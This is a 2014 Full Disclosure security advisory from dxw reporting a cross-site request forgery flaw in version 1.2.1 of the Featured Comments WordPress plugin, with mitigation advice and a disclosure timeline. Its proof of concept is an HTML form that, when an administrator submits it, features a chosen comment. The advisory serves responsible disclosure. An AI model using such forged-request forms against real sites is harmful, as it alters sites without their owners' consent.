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Date: Tue, 10 Jun 2014 12:37:44 +0000 From: dxw Security <security@....com> To: fulldisclosure@...lists.org Subject: [FD] CSRF in Featured Comments 1.2.1 allows an attacker to set and unset comment statuses (WordPress plugin) Details ================ Software: Featured Comments Version: 1.2.1 Homepage: http://wordpress.org/plugins/feature-comments/ Advisory ID: dxw-2014-1360 CVE: Awaiting assignment CVSS: 4.3 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:N) Description ================ CSRF in Featured Comments 1.2.1 allows an attacker to set and unset comment statuses Vulnerability ================ An attacker able to convince an admin to visit a link of their choosing is able to set/unset the buried/featured status of any comments. Proof of concept ================ If a logged-in administrator user clicks the submit button on this form comment with ID of 9 will be featured. (In a real attack the form can be made to auto-submit using Javascript). <form action=\"http://localhost/wp-admin/admin-ajax.php?action=feature_comments\" method=\"POST\"> <input type=\"text\" name=\"do\" value=\"feature\"> <input type=\"text\" name=\"comment_id\" value=\"9\"> <input type=\"submit\"> </form> Mitigations ================ Disable the plugin until a fix is available. Disclosure policy ================ dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/ Please contact us on security@....com to acknowledge this report if you received it via a third party (for example, plugins@...dpress.org) as they generally cannot communicate with us on your behalf. This vulnerability will be published if we do not receive a response to this report with 14 days. Timeline ================ 2014-05-22: Discovered 2014-05-23: Email address for report requested via contact form at pippinsplugins.com 2014-05-26: Author acknowledged report 2014-06-10: dxw chased to establish timeline for a fix Discovered by dxw: ================ Tom Adams Please visit security.dxw.com for more information. _______________________________________________ Sent through the Full Disclosure mailing list http://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
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